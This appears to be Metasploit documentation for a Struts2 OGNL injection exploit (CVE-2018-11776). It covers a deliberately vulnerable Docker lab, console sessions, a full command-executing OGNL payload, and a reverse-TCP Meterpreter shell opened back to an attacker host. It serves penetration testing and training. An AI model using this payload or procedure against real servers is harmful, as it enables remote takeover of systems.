documentation/modules/exploit/multi/http/struts2_namespace_ognl.md
CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands.
The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
Tomcat versions prior to 7.0.88 will provide output from the injected OGNL and require that we prepend some OGNL to set allowStaticMethodAccess=true. Versions starting at 7.0.88 do not provide OUTPUT from injected OGNL and will error if we attempt to modify allowStaticMethodAccess. The ENABLE_STATIC option is used to toggle behavior, and the check method fingerprints the correct version.
As a result of the lack of OGNL output, we currently cannot support large payloads (namely Windows Meterpreter payloads) on Tomcat versions >= 7.088. Future committers might consider compressing the windows/x64/meterpreter templates or implementing GZIP compression of payloads.
The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliably as a practice environment. @hook-s3c did an amazing job with their writeup, which I'll include excerpts of here:
From a stock Ubuntu VM, install docker:
sudo apt update && sudo apt install docker.io
Download a vulnerable Struts showcase application inside a docker container:
sudo docker pull piesecurity/apache-struts2-cve-2017-5638
sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
CONTAINER_ID=`sudo docker ps -l -q`
Now that the container is running, open a terminal inside of it:
sudo docker exec -it $CONTAINER_ID /bin/bash
From within the container, install your text editor of choice and modify the Struts configs:
sudo apt update && sudo apt install nano
nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
Update the struts config to add this to above line #11:
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
Update the same struts config file to add this above line #78:
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
Still within the container, shutdown the environment:
/usr/local/tomcat/bin/shutdown.sh
Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint:
sudo docker start $CONTAINER_ID
Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm:
INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5`
IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'`
PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'`
echo "Struts container is listening on $IPADDRESS:$PORT_NUM"
Confirm that check functionality works:
use exploit/multi/http/struts_namespace_ognlset ACTION wrong.actioncheckThe target is not exploitable.set ACTION help.actionThe target is vulnerable.Confirm that command execution functionality works:
set PAYLOAD cmd/unix/genericset CMD hostnamerunb3d9b350d9b6Confirm that payload upload and execution works:
set PAYLOAD linux/x64/meterpreter/reverse_tcpLHOST and RHOST as necessary.runThe path to the struts application. Note that this does not include the endpoint. In the environment above, the path is /.
The endpoint name. In the environment above, the endpoint is help.action.
Checking a vulnerable endpoint, as installed in the above steps:
msf > use exploit/multi/http/struts_namespace_ognl
msf exploit(multi/http/struts_namespace_ognl) > set RHOSTS 192.168.199.135
msf exploit(multi/http/struts_namespace_ognl) > set RPORT 32771
msf exploit(multi/http/struts_namespace_ognl) > set ACTION help.action
ACTION => help.action
msf exploit(multi/http/struts_namespace_ognl) > check
[+] 192.168.199.135:32771 The target is vulnerable.
Running an arbitrary command on the above-described environment:
msf exploit(multi/http/struts_namespace_ognl) > set VERBOSE true
msf exploit(multi/http/struts_namespace_ognl) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(multi/http/struts_namespace_ognl) > set CMD hostname
CMD => hostname
msf exploit(multi/http/struts_namespace_ognl) > run
[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
[*] Command ran. Output from command:
b3d9b350d9b6
[*] Exploit completed, but no session was created.
msf exploit(multi/http/struts_namespace_ognl) >
Getting a Meterpreter session on the above-described environment:
msf > use exploit/multi/http/struts2_namespace_ognl
msf exploit(multi/http/struts2_namespace_ognl) > set ACTION help.action
msf exploit(multi/http/struts2_namespace_ognl) > set RHOSTS 192.168.199.135
msf exploit(multi/http/struts2_namespace_ognl) > set RPORT 32771
msf exploit(multi/http/struts2_namespace_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
msf exploit(multi/http/struts2_namespace_ognl) > run
[*] Started reverse TCP handler on 192.168.199.134:4444
[+] Target profiled successfully: Linux 4.4.0-112-generic amd64, running as root
[+] Payload successfully dropped and executed.
[*] Sending stage (816260 bytes) to 192.168.199.135
[*] Meterpreter session 1 opened (192.168.199.134:4444 -> 192.168.199.135:47482) at 2018-08-31 13:15:22 -0500
meterpreter >